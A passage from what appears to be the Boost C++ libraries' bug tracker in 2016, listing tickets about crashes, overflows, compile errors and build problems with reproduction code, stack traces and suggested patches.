    at /toolchain/toolchain9/include/boost/smart_ptr/detail/sp_counted_base_gcc_x86.hpp:144
#2  0x00000000004027a7 in boost::detail::shared_count::~shared_count (this=0x4033a8 <__libc_csu_init+8>, __in_chrg=<optimized out>)
    at /toolcain/toolchain9/include/boost/smart_ptr/detail/shared_count.hpp:473
#3  0x0000000000402de0 in boost::shared_ptr<boost::program_options::options_description>::~shared_ptr (this=0x4033a0 <__libc_csu_init>,
    __in_chrg=<optimized out>) at /toolchain/toolchain9/include/boost/smart_ptr/shared_ptr.hpp:336
#4  0x0000000000402dfb in std::_Destroy<boost::shared_ptr<boost::program_options::options_description> > (__pointer=0x4033a0 <__libc_csu_init>)
    at /toolchain/toolchain9/include/c++/6.1.0/bits/stl_construct.h:93
#5  0x0000000000402ce9 in std::_Destroy_aux<false>::__destroy<boost::shared_ptr<boost::program_options::options_description>*> (
    __first=0x4033a0 <__libc_csu_init>, __last=0x0) at /toolchain/toolchain9/include/c++/6.1.0/bits/stl_construct.h:103
#6  0x0000000000402b98 in std::_Destroy<boost::shared_ptr<boost::program_options::options_description>*> (__first=0x4033a0 <__libc_csu_init>,
    __last=0x0) at /toolchain/toolchain9/include/c++/6.1.0/bits/stl_construct.h:126
#7  0x0000000000402a23 in std::_Destroy<boost::shared_ptr<boost::program_options::options_description>*, boost::shared_ptr<boost::program_options::options_description> > (__first=0x4033a0 <__libc_csu_init>, __last=0x0) at /toolchain/toolchain9/include/c++/6.1.0/bits/stl_construct.h:151
#8  0x000000000040288b in std::vector<boost::shared_ptr<boost::program_options::options_description>, std::allocator<boost::shared_ptr<boost::program_options::options_description> > >::~vector (this=0x7fffffffdf58, __in_chrg=<optimized out>)
    at /toolchain/toolchain9/include/c++/6.1.0/bits/stl_vector.h:426
#9  0x00000000004027c6 in boost::program_options::options_description::~options_description (this=0x7fffffffdef0, __in_chrg=<optimized out>)
    at /toolchain/toolchain9/include/boost/program_options/options_description.hpp:173
#10 0x00000000004026b9 in main () at example.cpp:4

Alternatively, if I actually add any options, it segfaults during that:

seth@luca:~$ cat example2.cpp
#include <boost/program_options.hpp>
int main() {
    namespace po = boost::program_options;
    po::options_description d;
    int x = 0;
    d.add_options() ("xs,x", po::value(&x));
    return 0;
}
Program received signal SIGSEGV, Segmentation fault.
0x000000000040dc66 in push_back (__x=<optimized out>, this=<optimized out>) at /toolchain/toolchain9/include/c++/6.1.0/bits/stl_bvector.h:89
89              *_M_p &= ~_M_mask;
(gdb) bt
#0  0x000000000040dc66 in push_back (__x=<optimized out>, this=<optimized out>) at /toolchain/toolchain9/include/c++/6.1.0/bits/stl_bvector.h:89
#1  add () at libs/program_options/src/options_description.cpp:288
#2  boost::program_options::options_description_easy_init::operator() (this=0x4, name=0x7fffffffdee0 " \305\334\367\377\177", s=0x62ed80)
    at libs/program_options/src/options_description.cpp:246
#3  0x0000000000403d78 in main () at example2.cpp:8

seth@luca:~$ g++ --version
g++ (GCC) 6.1.0
Copyright (C) 2016 Free Software Foundation, Inc.

I'm linking statically against program_options.

Let me know if there's any more information I can provide that would be helpful.

#12269: wrong error code

anonymous — Tue, 14 Jun 2016 08:30:47 GMT

On Windows, attempting to call async_read_until (and probably other async functions) after the other side close the connection returns boost::system::error_code with value 1236 (ERROR_CONNECTION_ABORTED) instead of expected 10053 (WSAECONNABORTED).

#12268: Boost Polygon: Overflow issue with euclidean_distance() when using large (32-bit) coordinates.

Tue, 14 Jun 2016 07:46:32 GMT

Hi,

When using large (32-bit) ints for coordinates, there seems to be a problem in getting the correct result with boost::polygon::euclidean_distance(). The sample program demonstrates the issue (compiled with GCC 4.7.3 + Boost 1.61.0).

#include <iostream>
#include <cmath>
#include <boost/polygon/polygon.hpp>
#include <boost/geometry.hpp>
namespace gtl = boost::polygon;
using namespace boost::polygon::operators;
typedef gtl::rectangle_data<int> LayoutRectangle;
int main(int argc, char** argv)
{
    LayoutRectangle t(16740130,29759232,16740350,29760652);
    LayoutRectangle n(16808130,29980632,16808350,29982052);
    std::cout << gtl::euclidean_distance(t, n) << std::endl;
    std::cout << gtl::euclidean_distance(t, n, gtl::HORIZONTAL) << " "
              << gtl::euclidean_distance(t, n, gtl::VERTICAL) << std::endl;
    std::cout << gtl::square_euclidean_distance(t, n) << std::endl;
    std::cout << std::sqrt(gtl::square_euclidean_distance(t, n)) << std::endl;
    std::cout << (int) std::sqrt(gtl::square_euclidean_distance(t, n)) << std::endl;
    return 0;
}

The output of this program is:

38022.6 67780 219980 52985328800 230185 230185

230185 is the correct answer, but euclidean_distance() gives 38022.6. I traced the program above in GDB, and the culprit seems to be 'return (xdist * xdist) + (ydist * ydist)' in the library code shown below. xdist/ydist have correct values but taking the square root is most likely causing overflow.

rectangle_concept.hpp:

  square_euclidean_distance(const rectangle_type& lvalue, const rectangle_type_2& rvalue) {
    typename coordinate_traits<typename rectangle_coordinate_type<rectangle_type>::type>::coordinate_difference xdist, ydist;
    xdist = euclidean_distance(lvalue, rvalue, HORIZONTAL);
    ydist = euclidean_distance(lvalue, rvalue, VERTICAL);
    return (xdist * xdist) + (ydist * ydist);
  }

I notice coordinate_difference is defined as 'long long' which is 8 bytes (sizeof(long long)) on my machine. So not sure why this is happening.

I also posted this as a question on stackoverflow: http://stackoverflow.com/questions/37804930/boost-polygon-issue-with-euclidean-distance

For now, I can use std::sqrt(gtl::square_euclidean_distance())' as a workaround. Thanks.

#12267: How to build boost with Boost.Build using Clang 3.7 with Microsoft CodeGen instead of the original Visual C++ compiler?

Sun, 12 Jun 2016 00:14:28 GMT

Hi, I have been trying to compile the latest boost libraries in Windows with Microsoft's Clang 3.7 compiler (instead of the default Visual C++ compiler) and doing that using the IDE which is *A LOT OF WORK* and does not build the tests and examples, etc. What I am looking for is a way to build boost using Boost.Build but telling it to use Microsoft's Clang compiler instead of default Visual C++ compiler... Clang is actually much better at issuing warnings and explaining syntax errors and overall I think it's better

However, how can I do this? Is there a toolset to be specified in the command line to b2?

Thanks!! Juan

#12266: Visual Studio 2015 Express for Desktop and 64-bit builds

carles.cufi@… — Sat, 11 Jun 2016 21:15:15 GMT

When building Boost statically as a set of 64-bit static libraries, I have found that using the "usual" Command Prompt doesn't yield 64-bit objects, but rather 32-bit ones.

The build commands I am issuing are:

bootstrap.bat b2 toolset=msvc-14.0 address-model=64 link=static --with-thread --with-system --with-regex --with-date_time --with-chrono

If I open a "Developer Command Prompt" (equivalent to executing %comspec% /k ""C:\Program Files (x86)\Microsoft Visual Studio 14.0\Common7\Tools\VsDevCmd.bat"") and then build with the commands above, the libraries generated are 32-bit.

If I open a "standard" command prompt (equivalent to %comspec% /k ""C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\vcvarsall.bat"" x86) and then build with the commands above, the libraries generated are 32-bit.

Finally, if I open a "Visual Studio 2015 x86 x64 Cross Tools Command Prompt" (equivalent to %comspec% /k ""C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\vcvarsall.bat"" x86_amd64) and then build with the commands above, the libraries generated are 64-bit.

This is in my opinion a problem because of two reasons:

1) This contradicts the documentation in: http://www.boost.org/build/doc/html/bbv2/reference/tools.html#bbv2.reference.tools.compiler.msvc where it says: "Configure you compiler as usual. If you provide a path to the compiler explicitly, provide the path to the 32-bit compiler. If you try to specify the path to any of 64-bit compilers, configuration will not work." The usual configuration on Windows is the standard Developer Command Prompt.

2) The build doesn't fail or complain that it cannot generate 64-bit binaries, and instead silently disregards the "address-model=64" option and generates 32-bit binaries.

Please note that with other tools (CMake for example) one can build both 32 and 64-bit binaries from a "standard" command prompt (i.e. no need to invoke vcvarsall.bat x86_amd64).

#12264: queue can pop to Orange* even when Apples don't relate to Oranges

Fri, 10 Jun 2016 20:04:29 GMT

The following program successfully compiles, but I think it should give a compiler error since it is casting an Apple pointer to an Orange pointer. Apple and Orange have no inheritance relationship so I think the cast should be invalid.

#include <boost/lockfree/queue.hpp>
class Apple {};
class Orange {};
int main() {
   boost::lockfree::queue<Apple*> m_queue(1);
   Orange *orange;
   m_queue.pop(orange);
}

For the following program, g++ says "error: cannot convert ‘Orange*’ to ‘Apple*’". If someone forgets what type of object that are storing in boost::lockfree::queue then they could make the above mistake of trying to extract the wrong type and it would be helpful if the compiler and boost caught the error.

class Apple {};
class Orange {};
int main() {
   Orange *orange = new Orange;
   Apple *apple = orange;
}

When I make the following change, g++ says "error: cannot convert ‘Apple*’ to ‘Orange*’" for the first program:

diff --git a/include/boost/lockfree/detail/copy_payload.hpp b/include/boost/lockfree/detail/copy_payload.hpp
index 75b1b52..7679d50 100644
--- a/include/boost/lockfree/detail/copy_payload.hpp
+++ b/include/boost/lockfree/detail/copy_payload.hpp
@@ -35,7 +35,7 @@ struct copy_constructible_and_copyable
     template <typename T, typename U>
     static void copy(T & t, U & u)
     {
-        u = U(t);
+        u = t;
     }
 };

Even though that change helps my case by warning me of my error, I think it probably breaks other cases, but at least this might help in understanding the reason why the original version of lockfree does not give an error message. In my case, U is a pointer type. It looks like it is calling the U constructor but I'm not sure what it means to call a constructor of a pointer type. Apparently what it means is to perform some kind of dangerous cast like an old style C cast instead of one of the more safer types of casts like a newer C++ cast. Perhaps you can make lockfree use my change only when U is a pointer type, but use the old version of the code for non-pointer types?

I tested with g++ (GCC) 4.8.3 20140911 (Red Hat 4.8.3-9)

I used this version of lockfree:

commit c112c29bee1d35089d4a603027dbbc4e1744d59b Apr 2 12:02:35 2016 +0200

#12263: ublas matrix iterators do not include "->" member access (dereferencing) operator, although the operator is referenced in the documentation

douglas.schuyler@… — Fri, 10 Jun 2016 14:09:03 GMT

The documentation for the ublas matrix iterators includes the "->" operator for member access (dereferencing), but the source code does not include this operator in either the exposed iterator classes (i.e. iterator1/2) nor the base classes (i.e. random_access_iterator_base).

Documentation: http://www.boost.org/doc/libs/1_61_0/libs/numeric/ublas/doc/iterator_concept.html#1IndexedBidirectionalIterator

Iterator1 class reference: http://www.boost.org/doc/libs/1_46_0/libs/numeric/ublas/doc/html/classboost_1_1numeric_1_1ublas_1_1matrix_1_1iterator1.html

Similar observations have been made on StackOverflow, but appear to have not been written up. See here: http://stackoverflow.com/questions/26462271/why-doesnt-the-arrow-operator-work-on-boostnumericublasvector

This appears to be an oversight, but appears to reach throughout uBLAS.

#12261: LT_HalfPrevLoT and GT_HalfSuccHiT are not symmetrical

Fri, 10 Jun 2016 12:38:46 GMT

Reusing low boost conversion policies to implement my own roundToInt method...

If you try the following code:

template <class To, class From>
struct NumericRangeCheckerTraits {
	typedef To target_type;
	typedef From source_type;
	typedef From argument_type;
};
struct ToTextOverflowHandlerPolicy {
	void operator() ( boost::numeric::range_check_result result) {
		switch (result) {
		case boost::numeric::cInRange:
			std::cout << "the value is in range"<< std::endl;
			break;
		case boost::numeric::cNegOverflow:
		case boost::numeric::cPosOverflow:
			std::cout << "the value is out of range"<< std::endl;
			break;
		}
	};
};
double dmax = std::numeric_limits<int>::max() + 0.5;
double dmin = std::numeric_limits<int>::min() - 0.5;
boost::numeric::convdetail::generic_range_checker<NumericRangeCheckerTraits<int, double>,
	boost::numeric::convdetail::LT_HalfPrevLoT<NumericRangeCheckerTraits<int, double>>,
	boost::numeric::convdetail::GT_HalfSuccHiT<NumericRangeCheckerTraits<int, double>>,
	ToTextOverflowHandlerPolicy>::validate_range(dmax);
boost::numeric::convdetail::generic_range_checker<NumericRangeCheckerTraits<int, double>,
	boost::numeric::convdetail::LT_HalfPrevLoT<NumericRangeCheckerTraits<int, double>>,
	boost::numeric::convdetail::GT_HalfSuccHiT<NumericRangeCheckerTraits<int, double>>,
	ToTextOverflowHandlerPolicy>::validate_range(dmin);

You will get:

the value is out of range
the value is in range

When they should be both out of range.

This is because GT_HalfSuccHiT should implement range_check_result as such:

static range_check_result apply ( argument_type s ) {
  return s > static_cast<S>(bounds<T>::highest()) + static_cast<S>(0.5)
           ? cPosOverflow : cInRange ;

instead of using >=.

The comment to describe GT_HalfSuccHiT should be changed as well to:

// s > Highest(T) + 0.5 ? cPosgOverflow : cInRange

#12259: improved version of boost::property_tree::ini_parser, which handles comments in INI-files

jan.krieger@… — Thu, 09 Jun 2016 09:20:30 GMT

The original implementation of boost::property_tree::ini_parser does ignore comments when reading, therefore they are also deleted when writing back the Contents of a boost::property_tree.

For us this behaviour was not very desirable, as we cannot comment our ini files properly then.

Therefore I implemented an alternative Version of boost::property_tree::ini_parser that reads comments into special entries in the boost::property_tree and then uses these entries when writing an INI file to reconstruct the comments. I think the boost library (and other users) might well Profit from such functions and they can easily be provided alongside the already available functions as an alternative.

I'm attaching my Version of the ini_parser and hope you can incorporate it into the next Releases of boost.

Best, JAN Krieger (Deidelberger Druckmaschinen AG)

#12255: Centroid for polygon failed to compile for rational coordinate

andyplekhanov@… — Tue, 07 Jun 2016 13:41:47 GMT

If I use rational coordinate, centroid function for polygon failed to compile.

#12254: NULL reference to error_code passing to noexcept functions caused std::terminate

aerisnju@… — Tue, 07 Jun 2016 08:27:29 GMT

With compilers that support noexcept, the following simple code may end up in std::terminate():

#include <boost/filesystem.hpp>
int main(int argc, char *argv[]) {
    try {
        boost::filesystem::path p(argv[0]);
        copy(p, p); // EEXIST, then std::terminate
    } catch (...) {}
    return 0;
}

This is because the noexcept function copy_file() has received a NULL reference, which causes one of its subroutines throws an exception. Since copy_file() is noexcept and it throws exceptions, the std::terminate() is called.

The call stack is (functions are called from bottom to top):

noexcept?	function
-----------------------------------------------------
false		error(unsigned long error_num, const boost::filesystem::path & p1, const boost::filesystem::path & p2, boost::system::error_code * ec, const char * message)
false		detail::copy_file(const boost::filesystem::path & from, const boost::filesystem::path & to, boost::filesystem::detail::copy_option option, boost::system::error_code * ec)
true		copy_file(const boost::filesystem::path & from, const boost::filesystem::path & to, boost::filesystem::copy_option option, boost::system::error_code & ec)
false		detail::copy(const boost::filesystem::path & from, const boost::filesystem::path & to, boost::system::error_code * ec)
false		copy(const boost::filesystem::path & from, const boost::filesystem::path & to)
false		main(int argc, char * * argv)

The function copy() calls detail::copy() without providing the ec parameter, so ec in detail::copy() is using the default value 0. detail::copy() then calls copy_file(), passing *ec as its parameter. Since ec in detail:copy() is NULL, copy_file() will receive a NULL reference. It then use &ec(that is NULL) to call detail::copy_file(). Since the target file exists, detail::copy_file() will generates EEXIST. Then an exception will be thrown from error(). The exception will be passed through the call stack until it reaches copy_file(). copy_file() is noexcept so it cannot throw exceptions. Then std::terminate() is called.

There may be other similar situations apart from this case in Boost.Filesystem. I think the current workaround is removing the BOOST_NOEXCEPT from these functions. For a complete solution, the functions may need careful reviews.

#12252: numeric_cast(pow(2.0, 63.0)) doesn't throw

wellnhofer@… — Mon, 06 Jun 2016 19:11:33 GMT

The following code produces an overflow but doesn't throw:

int64_t v = numeric_cast<int64_t>(pow(2.0, 63.0));

For an explanation, see http://stackoverflow.com/a/30424410/1956010

#12251: Add constexpr support to random number generators

Fri, 03 Jun 2016 17:06:37 GMT

Since C++11 the Standard requires the min/max functions of a random number generator to be constexpr [26.5.1.3]. Annotating the min/max functions with BOOST_CONSTEXPR should be enough to fix this.

Because of this defect using random number generators from boost::random with random number distributions from libc++ results in a compile time error. (Tested with libc++-3.7)

#12249: Wrong operator|() overload being found on multiple platforms & causing compilation failure

rob.desbois@… — Thu, 02 Jun 2016 15:47:39 GMT

When using the pipe syntax (operator| overloads) for range adaptors I'm finding that the overloads taking replace_holder are being incorrectly selected when using other adaptors over a range exposing abstract base class references.

I can reproduce this with filtered, transformed and indexed adaptors; on Clang, gcc & MSVC; and with Boost 1.57 and 1.61.

The minimal failing testcase is attached, and compiles fine when the replaced.hpp include is commented out.

The error I get with clang for the attached file is:

In file included from invoke-boost-failure.cpp:1:
In file included from /usr/include/boost/range/adaptor/indexed.hpp:23:
/usr/include/boost/range/adaptor/argument_fwd.hpp:36:15: error: field type 'Base' is an abstract class
            T val1, val2;
              ^
/usr/include/boost/range/adaptor/replaced.hpp:93:39: note: in instantiation of template class 'boost::range_detail::holder2<Base>' requested here
        class replace_holder : public holder2<T>
                                      ^
invoke-boost-failure.cpp:17:33: note: in instantiation of template class 'boost::range_detail::replace_holder<Base>' requested here
    for (const auto& b : refs | boost::adaptors::indexed())
                                ^
invoke-boost-failure.cpp:8:13: note: unimplemented pure virtual method '~Base' in 'Base'
    virtual ~Base() = 0;
            ^
In file included from invoke-boost-failure.cpp:1:
In file included from /usr/include/boost/range/adaptor/indexed.hpp:23:
/usr/include/boost/range/adaptor/argument_fwd.hpp:36:21: error: field type 'Base' is an abstract class
            T val1, val2;
                    ^
2 errors generated.

I can work around this by using the function call syntax for adaptors, but I can't suggest a fix as I don't understand why that overload is being selected at all.

#12243: Boost.Serialization compilation error in Visual Studio with Zc:wchar_t-

anonymous — Wed, 01 Jun 2016 15:30:09 GMT

The error is following:

C:\Program Files (x86)\Microsoft Visual Studio 11.0\VC\INCLUDE\limits(85) : error C2090: function returns array
        H:\Third_party_src\boost\boost_1_61_0-compiled\boost/archive/basic_text_oprimitive.hpp(147) : see reference to class template instantiation 'std::numeric_limits<_Ty>' being compiled
        with
        [
            _Ty=const unsigned short [24]
        ]
        H:\Third_party_src\boost\boost_1_61_0-compiled\boost/archive/basic_text_oprimitive.hpp(180) : see reference to class template instantiation 'boost::archive::basic_text_oprimitive<OStream>::is_float<T>' being compiled
        with
        [
            OStream=std::wostream,
            T=const unsigned short [24]
        ]
        H:\Third_party_src\boost\boost_1_61_0-compiled\boost/archive/xml_woarchive.hpp(73) : see reference to function template instantiation 'void boost::archive::basic_text_oprimitive<OStream>::save<const unsigned short[24]>(T (&))' being compiled
        with
        [
            OStream=std::wostream,
            T=const unsigned short [24]
        ]
        H:\Third_party_src\boost\boost_1_61_0-compiled\boost/archive/xml_woarchive.hpp(73) : see reference to function template instantiation 'void boost::archive::basic_text_oprimitive<OStream>::save<const unsigned short[24]>(T (&))' being compiled
        with
        [
            OStream=std::wostream,
            T=const unsigned short [24]
        ]
        H:\Third_party_src\boost\boost_1_61_0-compiled\boost/archive/impl/xml_woarchive_impl.ipp(144) : see reference to function template instantiation 'void boost::archive::xml_woarchive_impl<Archive>::save<const unsigned short[24]>(T (&))' being compiled
        with
        [
            Archive=boost::archive::xml_woarchive,
            T=const unsigned short [24]
        ]
...............................

The problem is with boost/archive/impl/xml_woarchive_impl.ipp(144) line:

        save(L"</boost_serialization>\n");

It's fixed by replacing line with

        save((const wchar_t*)L"</boost_serialization>\n");

Interesting error, as it treats the literal L"</boost_serialization>\n" as 'const unsigned short [24]' and picks

template<class T>
    void
    save(const T & t){
        basic_text_oprimitive<std::wostream>::save(t);
    }

from boost/archive/xml_woarchive.hpp , instead of correct

    #ifndef BOOST_NO_INTRINSIC_WCHAR_T
    BOOST_WARCHIVE_DECL void
    save(const wchar_t * t);
    #endif

And... If we remove the

    #ifndef BOOST_NO_INTRINSIC_WCHAR_T

everything (including /Zc:wchar_t and /Zc:wchar_t- configurations) compiles fine.

So the actual bug is this 'ifndef'.

Why it was placed here? Most likely by mistake.

Please remove this 'ifndef'.

#12240: Documentation for data-driven testing should explictly mention std::tuple

Tue, 31 May 2016 14:09:03 GMT

BOOST_DATA_TEST_CASE() handles ranges of std::tuples differently to ranges of other types, in that it expects to be able to expand the parts of the tuples out to multiple variables. Whether or not this is intended or just a side-effect of the implementation, I think it's a sensible behaviour. Indeed, it's quite useful to be able to supply BOOST_DATA_TEST_CASE() with pre-zipped data rather than always having to use ^.

However at the moment, this special handling of std::tuple is not documented. Hence I suggest that this be included in the documentation (possibly near the "Zips" section) or otherwise that the implementation is changed so that users' ranges of std::tuples are treated like ranges of other types (ie each tuple is expanded to one variable).

Many thanks for your work on this library.

#12239: Filesystem compiler error when using Clang 3.7 in Microsoft Windows

Tue, 31 May 2016 01:15:53 GMT

Hi, I am getting the following error as I compile the filesystem source files:

'void cdecl boost::detail::atomic_increment(struct clang::_Atomic<int> * ptr64)': Unexpected atomic instruction -- use Windows interlock intrinsics

%6 = atomicrmw add i32* %4, i32 %5 monotonic, !dbg !9335

c:\users\juan_\documents\github\boost_1_61_0\boost_1_61_0\boost/smart_ptr/detail/sp_counted_base_clang.hpp(31): fatal error C1001:

An internal error has occurred in the compiler.

There is no error if I compile with the default Visual Studio 2015 Update 2 compiler

Regards, Juan

#12238: Boost fails to compile using OpenSSL 1.1.0

noloader@… — Mon, 30 May 2016 23:32:58 GMT

Boost 1.61 cannot compile when using OpenSSL 1.1.0. Also see http://stackoverflow.com/q/37517730.

My apologies if this has been reported. A quick search appears to show there are no reports (https://svn.boost.org/trac/boost/search?q=%22openssl+1.1.0%22).

#12232: boost::interprocess::intermodule_singleton initialization failed in Windows 2012 Server

rafael.bronzeri@… — Sat, 28 May 2016 00:57:40 GMT

Hi,

I've got the following exception from Boost Interprocess using Windows 2012 Server: "boost::interprocess::intermodule_singleton initialization".

I've tried to fix it removing SharedMemory and Shared variables previously created, but it doesn't work. The only solution for it is restarting the server.

The expcetion happens using this code:

Removing previously created

boost::interprocess::named_mutex::remove("TEST.SHARED.MEMORY0000002.MTX1.0.000000000000000000000000009"); if (mtx1 != nullptr) {

delete mtx1; mtx1 = nullptr;

}

boost::interprocess::named_condition::remove("TEST.SHARED.MEMORY0000004.NMC1.0.000000000000000000000000050")); if (condition1 != nullptr) {

delete condition1; condition1 = nullptr;

}

boost::interprocess::shared_memory_object::remove("TEST.SHARED.MEMORY0000001.XXX.0.000000000000000000000000021"); if (shmObj1 != nullptr) {

delete shmObj1; shmObj1 = nullptr;

}

Creating SharedMemory boost::interprocess::permissions shared_memory_Perm; shared_memory_Perm.set_unrestricted(); boost::interprocess::managed_shared_memory shmObj1 = new boost::interprocess::managed_shared_memory

(boost::interprocess::create_only_t(), "TEST.SHARED.MEMORY0000001.XXX.0.000000000000000000000000021", 42768, static_cast<const void*>(NULL), shared_memory_Perm );

boost::interprocess::named_mutex* mtx1 = new boost::interprocess::named_mutex(boost::interprocess::create_only_t(), "TEST.SHARED.MEMORY0000002.MTX1.0.000000000000000000000000009"); boost::interprocess::named_condition* condition1 = new boost::interprocess::named_condition(boost::interprocess::create_only_t(), "TEST.SHARED.MEMORY0000004.NMC1.0.000000000000000000000000050");

Please, I need some help to fix this problem. Is there any solution without restaring the server for it?

Thanks!

#12231: How to build boost with CMake?

juandent@… — Fri, 27 May 2016 17:31:05 GMT

Hi, I need to build Boost with the Clang 3.7 with Microsoft CodeGen compiler and the only way I know how to do this is using CMake ... I downloaded Boost via:

svn co http://svn.boost.org/svn/boost/trunk boost-trunk

but it has no CMakeLists.txt files. I had read that it was possible to use CMake to build Boost???

Please help, Juan Dent

#12229: intrusive::unordered_set::rehash() broken

Fri, 27 May 2016 11:13:19 GMT

I do use the intrusive::unordered_set<T> to store language-dependent objects, and when the language changes, I used to use

mymap::rehash()

to update the buckets. Notice the bucket count does not change!

As it is now (1.61), "fast_shrink" becomes true:

const bool fast_shrink = (!incremental) && (old_bucket_count >= new_bucket_count) &&

(power_2_buckets

(old_bucket_count % new_bucket_count) == 0);

while in the previouis version used, it was

const bool fast_shrink = (!incremental) && (old_bucket_count > new_bucket_count) &&

(power_2_buckets

(old_bucket_count % new_bucket_count) == 0);

and "fast_shrink" was false.

Due to

if(same_buffer && fast_shrink && (n < new_bucket_count)){

new_first_bucket_num = n; n = new_bucket_count;

}

the "n" is set to the bucket count, and the loop that is rehashing is NOT entered any more, thus rehash() does nothing any more.

This is according to the documentation, but a change in behaviour. So I add this as as a warning that the change might cause trouble for some people. A "rehash(bucket_size+1)" still does its job, though not as optimal as the size is then not a prime any more. An optional "force_rehash" parameter or such to the rehash() function might be handy.

#12219: Compilation error using input_seekable with gzip_decompressor()

efrain.astudillo58@… — Sun, 22 May 2016 01:19:15 GMT

Hello:

I am trying to use boost:iostream::input_seekable and GZIP decompressor. But, when the push function is called the compiler show me the error below. I posted the code too.

std::ifstream file("file.tgz");
boost::iostreams::filtering_streambuf<boost::iostreams::input_seekable> in;
in.push(boost::iostreams::gzip_decompressor());// here the error C2338, if I comment this line the error is gone
in.push(file);

C:\Users\Efrain\Documents\CAMsoftware\trunk\thirdparty\boost\boost/iostreams/chain.hpp(244): error C2338: (is_convertible<category, Mode>::value) 1> C:\Users\Efrain\Documents\CAMsoftware\trunk\thirdparty\boost\boost/iostreams/chain.hpp(216) : see reference to function template instantiation 'void boost::iostreams::detail::chain_base<boost::iostreams::chain<Mode,Ch,Tr,Alloc>,Ch,Tr,Alloc,Mode>::push_impl<T>(const T &,std::streamsize,std::streamsize)' being compiled 1> with 1> [ 1> Mode=boost::iostreams::input_seekable 1> , Ch=char 1> , Tr=std::char_traits<char> 1> , Alloc=std::allocator<char> 1> , T=boost::iostreams::basic_bzip2_decompressor<std::allocator<char>> 1> ] 1> C:\Users\Efrain\Documents\CAMsoftware\trunk\thirdparty\boost\boost/iostreams/chain.hpp(216) : see reference to function template instantiation 'void boost::iostreams::detail::chain_base<boost::iostreams::chain<Mode,Ch,Tr,Alloc>,Ch,Tr,Alloc,Mode>::push_impl<T>(const T &,std::streamsize,std::streamsize)' being compiled 1> with 1> [ 1> Mode=boost::iostreams::input_seekable 1> , Ch=char 1> , Tr=std::char_traits<char> 1> , Alloc=std::allocator<char> 1> , T=boost::iostreams::basic_bzip2_decompressor<std::allocator<char>> 1> ] 1> C:\Users\Efrain\Documents\CAMsoftware\trunk\thirdparty\boost\boost/iostreams/chain.hpp(499) : see reference to function template instantiation 'void boost::iostreams::detail::chain_base<boost::iostreams::chain<Mode,Ch,Tr,Alloc>,Ch,Tr,Alloc,Mode>::push<T>(const T &,std::streamsize,std::streamsize,void *)' being compiled 1> with 1> [ 1> Mode=boost::iostreams::input_seekable 1> , Ch=char 1> , Tr=std::char_traits<char> 1> , Alloc=std::allocator<char> 1> , T=boost::iostreams::basic_bzip2_decompressor<std::allocator<char>> 1> ] 1> C:\Users\Efrain\Documents\CAMsoftware\trunk\thirdparty\boost\boost/iostreams/chain.hpp(499) : see reference to function template instantiation 'void boost::iostreams::detail::chain_base<boost::iostreams::chain<Mode,Ch,Tr,Alloc>,Ch,Tr,Alloc,Mode>::push<T>(const T &,std::streamsize,std::streamsize,void *)' being compiled 1> with 1> [ 1> Mode=boost::iostreams::input_seekable 1> , Ch=char 1> , Tr=std::char_traits<char> 1> , Alloc=std::allocator<char> 1> , T=boost::iostreams::basic_bzip2_decompressor<std::allocator<char>> 1> ] 1> C:\Users\Efrain\Documents\CAMsoftware\trunk\thirdparty\boost\boost/iostreams/chain.hpp(488) : see reference to function template instantiation 'void boost::iostreams::detail::chain_client<Self>::push_impl<T>(const T &,std::streamsize,std::streamsize)' being compiled 1> with 1> [ 1> Self=boost::iostreams::chain<boost::iostreams::input_seekable,char,std::char_traits<char>,std::allocator<char>> 1> , T=boost::iostreams::basic_bzip2_decompressor<std::allocator<char>> 1> ] 1> C:\Users\Efrain\Documents\CAMsoftware\trunk\thirdparty\boost\boost/iostreams/chain.hpp(488) : see reference to function template instantiation 'void boost::iostreams::detail::chain_client<Self>::push_impl<T>(const T &,std::streamsize,std::streamsize)' being compiled 1> with 1> [ 1> Self=boost::iostreams::chain<boost::iostreams::input_seekable,char,std::char_traits<char>,std::allocator<char>> 1> , T=boost::iostreams::basic_bzip2_decompressor<std::allocator<char>> 1> ] 1> source\c_archive.cpp(60) : see reference to function template instantiation 'void boost::iostreams::detail::chain_client<Self>::push<boost::iostreams::basic_bzip2_decompressor<std::allocator<char>>>(const T &,std::streamsize,std::streamsize,void *)' being compiled 1> with 1> [ 1> Self=boost::iostreams::chain<boost::iostreams::input_seekable,char,std::char_traits<char>,std::allocator<char>> 1> , T=boost::iostreams::basic_bzip2_decompressor<std::allocator<char>> 1> ] 1> source\c_archive.cpp(60) : see reference to function template instantiation 'void boost::iostreams::detail::chain_client<Self>::push<boost::iostreams::basic_bzip2_decompressor<std::allocator<char>>>(const T &,std::streamsize,std::streamsize,void *)' being compiled 1> with 1> [ 1> Self=boost::iostreams::chain<boost::iostreams::input_seekable,char,std::char_traits<char>,std::allocator<char>> 1> , T=boost::iostreams::basic_bzip2_decompressor<std::allocator<char>> 1> ] 1>C:\Users\Efrain\Documents\CAMsoftware\trunk\thirdparty\boost\boost/iostreams/stream_buffer.hpp(68): error C2338: ( is_convertible< BOOST_DEDUCED_TYPENAME iostreams::category_of<T>::type, Mode >::value ) 1> C:\Users\Efrain\Documents\CAMsoftware\trunk\thirdparty\boost\boost/iostreams/chain.hpp(257) : see reference to class template instantiation 'boost::iostreams::stream_buffer<component_type,std::char_traits<char>,Alloc,Mode>' being compiled 1> with 1> [ 1> Alloc=std::allocator<char> 1> , Mode=boost::iostreams::input_seekable 1> ]

#12218: Compilation error using input_seekable with gzip_decompressor()

anonymous — Sun, 22 May 2016 01:18:41 GMT

Hello:

I am trying to use boost:iostream::input_seekable and GZIP decompressor. But, when the push function is called the compiler show me the error below. I posted the code too.

std::ifstream file("file.tgz");
boost::iostreams::filtering_streambuf<boost::iostreams::input_seekable> in;
in.push(boost::iostreams::gzip_decompressor());// here the error C2338, if I comment this line the error is gone
in.push(file);

#12217: boost.iostreams on Android can't find ZLIB

ruslan_baratov@… — Fri, 20 May 2016 10:09:21 GMT

boost.iostreams on Android can't find ZLIB if host is Linux. Works fine for OSX host.

Build options:

-a
link=static
threading=multi
variant=debug,release
--layout=tagged
toolset=gcc-ndk
--user-config=/home/travis/.hunter/_Base/1e7fc8f/3bce312/7416caa/Build/Boost/__iostreams/Build/boost.user.jam
--with-iostreams
-s
NO_COMPRESSION=0
-s
NO_ZLIB=0
-s
NO_BZIP2=1
-s
ZLIB_INCLUDE=/home/travis/.hunter/_Base/1e7fc8f/3bce312/7416caa/Install/include
-s
ZLIB_LIBPATH=/home/travis/.hunter/_Base/1e7fc8f/3bce312/7416caa/Install/lib
-s
